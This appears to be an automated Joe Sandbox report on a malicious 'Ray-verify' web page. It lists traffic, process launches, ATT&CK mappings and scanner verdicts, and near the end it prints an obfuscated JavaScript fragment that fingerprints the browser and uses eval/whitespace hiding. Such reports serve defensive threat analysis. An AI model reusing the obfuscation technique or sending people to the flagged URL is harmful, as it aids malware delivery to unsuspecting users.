Source: global traffic	HTTP traffic detected: GET /new3.jpg HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prev.gif HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.gif HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.protware.com/home.htmAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /frm.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stat.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prev.gif HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /new3.jpg HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /next.gif HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /encrypt_html.ico HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://www.protware.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scroll.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tpmnu.js HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /encrypt_html.ico HTTP/1.1Host: www.protware.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: noisefreqs.com
Source: global traffic	DNS traffic detected: DNS query: www.protware.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 29 Nov 2024 23:40:18 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 277Connection: close

Source: chromecache_67.2.dr, chromecache_65.2.dr	String found in binary or memory: http://www.encrypt-html.com
Source: chromecache_65.2.dr	String found in binary or memory: http://www.encrypt-html.com/_disable_view_source.htm
Source: chromecache_65.2.dr	String found in binary or memory: http://www.encrypt-html.com/hide_html_source.htm
Source: chromecache_52.2.dr	String found in binary or memory: http://www.protware.com
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/betatest.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/buy.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/download.htm
Source: chromecache_65.2.dr, chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/encrypt_asp.htm
Source: chromecache_65.2.dr	String found in binary or memory: http://www.protware.com/encrypt_html.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/encrypt_html.htm#t00
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/encrypt_javascript.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/faq.htm
Source: chromecache_67.2.dr	String found in binary or memory: http://www.protware.com/faq1.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/features.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/history.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/html_password_protect.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/image_protection.htm
Source: chromecache_63.2.dr	String found in binary or memory: http://www.protware.com/support.htm
Source: chromecache_67.2.dr	String found in binary or memory: http://www.protware.com/tech/

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746

Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.4:49766 version: TLS 1.2

Source: classification engine

Classification label: mal60.win@17/43@10/5

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2260,i,4040764079350248205,16213322567652078909,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://noisefreqs.com/Ray-verify.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 --field-trial-handle=2260,i,4040764079350248205,16213322567652078909,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://noisefreqs.com/Ray-verify.html	100%	Avira URL Cloud	malware

Source	Detection	Scanner	Label
http://www.protware.com/frm.js	0%	Avira URL Cloud	safe
http://www.protware.com/encrypt_html.htm	0%	Avira URL Cloud	safe
http://www.protware.com/styleIE.css	0%	Avira URL Cloud	safe
http://www.protware.com/blank.htm	0%	Avira URL Cloud	safe
http://www.protware.com/betatest.htm	0%	Avira URL Cloud	safe
http://www.encrypt-html.com/_disable_view_source.htm	0%	Avira URL Cloud	safe
http://www.protware.com/next.gif	0%	Avira URL Cloud	safe
http://www.protware.com/home.htm	0%	Avira URL Cloud	safe
http://www.protware.com/style_M.css	0%	Avira URL Cloud	safe
http://www.protware.com/menu.htm	0%	Avira URL Cloud	safe
http://www.encrypt-html.com	0%	Avira URL Cloud	safe
http://www.protware.com/mm.js	0%	Avira URL Cloud	safe
http://www.protware.com/html_password_protect.htm	0%	Avira URL Cloud	safe
http://www.protware.com/download.htm	0%	Avira URL Cloud	safe
http://www.encrypt-html.com/hide_html_source.htm	0%	Avira URL Cloud	safe
http://www.protware.com/faq1.htm	0%	Avira URL Cloud	safe
http://www.protware.com/history.htm	0%	Avira URL Cloud	safe
http://www.protware.com/encrypt_html.htm#t00	0%	Avira URL Cloud	safe
http://www.protware.com	0%	Avira URL Cloud	safe
http://www.protware.com/buy.htm	0%	Avira URL Cloud	safe
http://www.protware.com/new3.jpg	0%	Avira URL Cloud	safe
http://www.protware.com/encrypt_asp.htm	0%	Avira URL Cloud	safe
https://noisefreqs.com/favicon.ico	100%	Avira URL Cloud	malware
http://www.protware.com/features.htm	0%	Avira URL Cloud	safe
http://www.protware.com/faq.htm	0%	Avira URL Cloud	safe
http://www.protware.com/encrypt_javascript.htm	0%	Avira URL Cloud	safe
http://www.protware.com/tech/	0%	Avira URL Cloud	safe
http://www.protware.com/prev.gif	0%	Avira URL Cloud	safe
http://www.protware.com/image_protection.htm	0%	Avira URL Cloud	safe
http://www.protware.com/support.htm	0%	Avira URL Cloud	safe
http://www.protware.com/scroll.js	0%	Avira URL Cloud	safe
http://www.protware.com/tpmnu.js	0%	Avira URL Cloud	safe
http://www.protware.com/encrypt_html.ico	0%	Avira URL Cloud	safe
http://www.protware.com/stat.js	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
protware.com	68.233.44.128	true	false	unknown
www.google.com	142.250.181.100	true	false	high
noisefreqs.com	166.1.209.92	true	false	high
www.protware.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.protware.com/styleIE.css	false	Avira URL Cloud: safe	unknown
http://www.protware.com/menu.htm	false	Avira URL Cloud: safe	unknown
http://www.protware.com/frm.js	false	Avira URL Cloud: safe	unknown
http://www.protware.com/home.htm	false	Avira URL Cloud: safe	unknown
http://www.protware.com/style_M.css	false	Avira URL Cloud: safe	unknown
http://www.protware.com/blank.htm	false	Avira URL Cloud: safe	unknown
http://www.protware.com/next.gif	false	Avira URL Cloud: safe	unknown
http://www.protware.com/mm.js	false	Avira URL Cloud: safe	unknown
http://www.protware.com/	false		unknown
https://noisefreqs.com/favicon.ico	false	Avira URL Cloud: malware	unknown
http://www.protware.com/new3.jpg	false	Avira URL Cloud: safe	unknown
https://noisefreqs.com/Ray-verify.html	true		unknown
http://www.protware.com/prev.gif	false	Avira URL Cloud: safe	unknown
http://www.protware.com/tpmnu.js	false	Avira URL Cloud: safe	unknown
http://www.protware.com/stat.js	false	Avira URL Cloud: safe	unknown
http://www.protware.com/scroll.js	false	Avira URL Cloud: safe	unknown
http://www.protware.com/encrypt_html.ico	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.protware.com/encrypt_html.htm	chromecache_65.2.dr	false	Avira URL Cloud: safe	unknown
http://www.encrypt-html.com/_disable_view_source.htm	chromecache_65.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/betatest.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/html_password_protect.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.encrypt-html.com	chromecache_67.2.dr, chromecache_65.2.dr	false	Avira URL Cloud: safe	unknown
http://www.encrypt-html.com/hide_html_source.htm	chromecache_65.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/faq1.htm	chromecache_67.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/encrypt_html.htm#t00	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com	chromecache_52.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/download.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/history.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/buy.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/encrypt_asp.htm	chromecache_65.2.dr, chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/features.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/faq.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/encrypt_javascript.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/tech/	chromecache_67.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/image_protection.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown
http://www.protware.com/support.htm	chromecache_63.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
166.1.209.92	noisefreqs.com	United States	11798	ACEDATACENTERS-AS-1US	false
68.233.44.128	protware.com	United States	46873	HOSTCOLORUS	false
142.250.181.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1565470
Start date and time:	2024-11-30 00:39:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://noisefreqs.com/Ray-verify.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.win@17/43@10/5

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.19.238, 74.125.205.84, 216.58.208.227, 34.104.35.123, 199.232.214.172, 192.229.221.95, 172.217.17.67
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, edgedl.me.gvt1.com, slscr.update.microsoft.com, otelrules.azureedge.net, update.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://noisefreqs.com/Ray-verify.html

Input	Output
URL: https://noisefreqs.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://noisefreqs.com
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "Script shows multiple high-risk indicators: heavy obfuscation (variable names l1l, ll1, etc.), checks for browser/environment conditions likely for fingerprinting, protocol manipulation (zLP variable), and contains large blocks of commented whitespace to obscure code. Pattern matches known malicious code obfuscation techniques." }
/* /l1l=document.documentMode\|\|document.all;var c6efa=true;ll1=document.layers;lll=window.sidebar;c6efa=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');c6efa\|=lII;zLP=location.protocol+'0FD';p82i0aVMDcn='pRmzEZl3YN8c';/ */
URL: JavaScript Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "Script contains multiple high-risk indicators: heavily obfuscated code using unescape/eval (3 points), aggressive DOM manipulation through insertAdjacentHTML (2 points), dynamic code execution via eval (3 points), and suspicious string manipulation patterns (1 point). The obfuscation appears intentional to hide malicious behavior." }
